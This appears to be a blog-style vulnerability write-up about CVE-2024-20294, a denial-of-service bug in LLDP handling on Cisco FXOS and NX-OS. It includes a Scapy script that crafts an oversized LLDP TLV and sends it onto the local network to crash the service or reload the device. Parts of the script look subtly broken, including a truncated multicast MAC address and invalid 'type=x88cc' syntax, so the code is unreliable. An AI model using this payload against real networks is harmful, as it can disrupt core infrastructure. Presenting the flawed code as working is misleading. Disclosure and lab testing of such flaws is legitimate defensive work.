A newly discovered vulnerability, CVE-2024-20294, has been making waves in the network security community in 2024. This bug affects the LLDP (Link Layer Discovery Protocol) feature in Cisco FXOS and NX-OS software, opening the door for attackers to disrupt core networking devices with a straightforward Denial of Service (DoS) attack.
Let’s break down everything you need to know about this exploit, including how it works, example attack code, and how to protect your devices.
What is LLDP and Why Does it Matter?
LLDP is a Layer 2 protocol used by network devices (switches, routers, etc.) to advertise their identity and capabilities on a local network. Cisco’s implementation is widely used in data centers and enterprise environments, especially in architectures running FXOS (Firepower eXtensible Operating System) and NX-OS (Nexus Operating System).
Affected Products: Cisco FXOS & NX-OS with LLDP enabled.
- Attack Requirements: Must be on the same local network (Layer 2 adjacent) to the affected device.
- What Can Happen: A carefully crafted LLDP frame crashes the LLDP service. In worst cases, this brings down the whole device.
Here’s what happens in detail
1. The attacker sends a malformed or specially crafted LLDP Ethernet packet to a target interface on a Cisco device.
2. When an authenticated user attempts to fetch LLDP data (for example, using a show lldp neighbors CLI command or via SNMP), the device processes the malicious LLDP frame.
3. Due to improper handling of certain LLDP fields, the service crashes. Sometimes, the device may even reboot.
Who Can Exploit This?
Anyone with physical or logical adjacency to the target device—meaning any device on the same switch segment, VLAN, or with access via a Layer 2 tunnel. The attacker does not need user credentials on the device itself.
Example: Crafting a Malicious LLDP Packet
Below is a Python code sample using Scapy for crafting an LLDP packet that could trigger the bug (for research/lab use only):
from scapy.all import *
# Ethernet frame: Destination is LLDP Multicast (01:80:c2:00:00:e)
eth = Ether(dst="01:80:c2:00:00:e", src="de:ad:be:ef:00:01", type=x88cc)
# LLDP frame with malformed TLV (e.g., overly large TLV, malformed structure)
# TLV: Type = 127 (Organizationally Specific), Length = 255 (max)
malformed_tlv = b'\xfe\xff' + b'A' * 255
lldpdu = malformed_tlv + b'\x00' # End of LLDPDU TLV
# Final packet
packet = eth / Raw(load=lldpdu)
# Send the packet out to the local network (must be root)
sendp(packet, iface="eth")
Explanation:
This code sends a bogus LLDP TLV to the LLDP multicast MAC address. The malicious field is designed to trip poorly written length or structure checks in the LLDP parser.
Warning:
Only test this in an isolated, non-production environment with permission. Misuse can bring down live networks.
References & Further Reading
- Cisco Security Advisory for CVE-2024-20294
- NVD Entry for CVE-2024-20294
- LLDP Standard — IEEE 802.1AB
- Scapy Documentation
Key Takeaways
- CVE-2024-20294 is a real risk for anyone running Cisco FXOS or NX-OS, especially in data centers.
- Attack requires Layer 2 adjacency—can be physical or via VLAN/tunnel.
- An attacker can use a simple crafted packet (see code above) to crash LLDP, with potential for a full device reload.
Final Note
Cisco LLDP bugs like CVE-2024-20294 highlight why it’s essential to limit Layer 2 exposure and keep all systems updated. Don’t let Layer 2 protocols be your weakest link.
Stay safe, and keep your infrastructure patched!
*This writeup is for educational purposes and responsible disclosure. Never test on networks you don’t own.*
If you found this useful, consider sharing with your IT security team or network administrator. For more technical details, visit Cisco’s official advisory and the National Vulnerability Database.
Timeline
Published on: 02/29/2024 01:43:59 UTC
Last modified on: 02/29/2024 13:49:29 UTC